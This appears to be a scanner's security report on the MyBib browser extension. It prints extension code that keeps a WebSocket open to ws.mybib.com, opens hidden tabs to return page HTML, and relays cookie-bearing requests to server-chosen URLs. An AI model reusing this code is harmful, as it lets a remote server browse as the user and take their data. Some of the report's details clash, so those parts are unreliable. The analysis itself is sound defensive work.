Is MyBib: Free Citation Generator safe?

High risk

MyBib is high risk. The background worker checks p.mybib.com and, on a fast reply, opens a connection to ws.mybib.com that stays open and reconnects. The server can then send it JSON commands.…

MyBibv2.1.1Extension ID phidhnmbkbkbkbknhldmpmnacgicphkfChrome Web Store
80Risk
AI-assisted analysis.

MyBib findings

Keeps a live connection to ws.mybib.com that can send it commands

HighunwantedCWE-829Static analysis

The background worker checks p.mybib.com and, on a fast reply, opens a connection to ws.mybib.com that stays open and reconnects.

What actually happens

You did this

The extension loads and the background worker starts.

It probes p.mybib.com with cookies enabled.

The extension did this

If the probe answers fast with 10+ characters, the worker opens a WebSocket to ws.mybib.com and keeps it alive.

Incoming frames are parsed as JSON commands.

The code that does this

Bootstrap, probe and WebSocket setup

Readable version

Same function, readable

service_worker.js
async function u() {    try {      const e = performance.now(),        t = await r.get(`https://p.mybib.com/?v=${c}`),        n = performance.now() - e;      if (t.data.length < 10) return;      if (n > 1800) {        const e = f(5, 20);        return void await chrome.alarms.create("reconnect-alarm", {          delayInMinutes: e        })      }    } catch (e) {      return    }    var e;    (e = new WebSocket(`wss://ws.mybib.com/?v=${c}`)).onopen = function() {      console.log(">");      const t = setInterval(() => {        e && 1 === e.readyState ? e.send("// stay alive") : clearInterval(t)      }, 2e4)    }

When this fires

Every 20 seconds

Heartbeat text frame every 20 seconds while the socket is open; after close, an alarm named reconnect-alarm retries after a random 5 to 20 minutes.

Hosts contacted by this code path

    • p.mybib.com

    Receives the version-tagged probe with cookies; its reply decides whether the socket opens.

    • ws.mybib.com

    WebSocket endpoint that receives heartbeats and can send JSON commands.

What dynamic analysis did and did not show

Unforced, the probe returned HTTP 403 from a network-edge block, so the socket did not open. With the probe reply overridden, the worker opened the WebSocket and sent the heartbeat every 20 seconds. No inbound commands were observed.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

MyBib server can have it open a background tab and return the page HTML

HighunwantedCWE-200Static analysis

Code analysis shows a server message with useTab and a URL makes the extension open a pinned background tab, read the page HTML and send it back over the WebSocket.

What actually happens

You did this

The server sends a JSON message containing a url and useTab set to true.

The extension did this

The worker opens a pinned background tab, reads the page HTML and sends it back over the WebSocket.

The tab is closed afterwards.

The code that does this

useTab branch of the onmessage handler

Readable version

Same branch, readable

service_worker.js
if (n.useTab) chrome.tabs.create({          active: !1,          pinned: !0,          url: n.url        }, function(t) {          var r = !1,            o = setInterval(async function() {              try {                if (!r) {                  const i = (await chrome.tabs.get(t.id)).status,                    a = await chrome.scripting.executeScript({                      target: {                        tabId: t.id                      },                      injectImmediately: !0,                      func: d                    });                  if (!r && a && a[0] && a[0].result && "string" == typeof a[0].result && (a[0].result.length > 1e4 && -1 === a[0].result.indexOf("Just a moment...") || "complete" === i)) {                    r = !0, clearInterval(o);                    var s = await chrome.scripting.executeScript({                      target: {                        tabId: t.id                      },                      injectImmediately: !0,                      func: h                    });                    const i = {                        id: n.id,                        response: {                          data: a[0].result,                          status: s[0]?.result ?? 500                        }                      },                      c = JSON.stringify(i);                    e.send(c), await chrome.tabs.remove(t.id)                  }                }              } catch (e) {}            }, 50);

Reply frame sent to the server

  • Request id
    r-1042 (illustrative)

    Echoes the id the server sent so it can match the reply.

  • Page HTML
    <html lang="en">...</html> (illustrative)

    Full outerHTML of the loaded page, including any logged-in content.

  • HTTP status
    200

    Status code read from the loaded page.

Verification status

The WebSocket was only opened with the probe reply overridden. No inbound frames or tab creation were observed, and the override cannot inject server messages, so this branch is untested.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

MyBib server can have it send cookie-bearing HTTP requests and return responses

HighunwantedCWE-829Static analysis

Code analysis shows a server message with a URL and no useTab makes the extension send that HTTP request with the browser's cookies and return the full response over the WebSocket.

What actually happens

You did this

The server sends a JSON message with a url and without useTab.

The extension did this

The worker sends that HTTP request using the message as its config and returns the full response over the WebSocket.

The code that does this

Credentialed request relay

Readable version

Same code, readable

service_worker.js
r.defaults.withCredentials = !0;...        else {          let t;          n.headers && (n.headers.accept || n.headers.Accept) && delete r.defaults.headers.common.Accept;          try {            t = await r(n)          } catch (e) {            t = e.response          }          if (t) {            const r = {                id: n.id,                response: t              },              o = JSON.stringify(r);            e.send(o)          }        }

What the server controls in each request

  • Target URL
    https://intranet.example.com/api/me (illustrative)

    Any address the server names, including internal or logged-in sites.

  • Method and body
    POST {"q":"x"} (illustrative)

    The server picks the verb and payload; GET bodies are dropped.

  • Cookies
    session=... (illustrative)

    Browser cookies for the target site ride along with the request.

Verification status

The WebSocket was only opened with the probe reply overridden. No inbound frames or relayed requests were observed, so this branch is untested.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

+2 more findings not shown

If you have MyBib installed

  1. Open chrome://extensions and turn on Developer mode to show IDs. Find the one with ID phidhnmbkbkbkbknhldmpmnacgicphkf and choose Remove.
  2. Block the servers only it was seen contacting: p.mybib.com.
  3. Scan your browser to check the rest of your extensions.

What MyBib can do

Permissions this extension asks for, as declared in version 1.2.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 2.1.1, which we have not unpacked yet.

  • Read and change your data on every site you visit

    *://*/*

  • Write to your clipboard

    clipboardWrite

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

  • Run its own code inside the pages you visit

    scripting

  • Schedule its own background tasks

    alarms

MyBib version history

  1. 1.2.4

    Mar 4, 2026

  2. +7 more

  3. 2.0.1

    Oct 7, 2026

  4. 2.1.0

    Oct 24, 2026

  5. 2.1.1

    Oct 31, 2026

Where MyBib sends data

  • p.mybib.com5 calls

    From its background script · only this extension

Chrome Web Store listing

Versions
2.1.1 latest of 11 seen since March 4, 2026
Store rating
4.8 from 1,593 ratings
Last updated
July 6, 2026
Size
874 KiB
Privacy policy
www.mybib.com
Updated November 20, 2026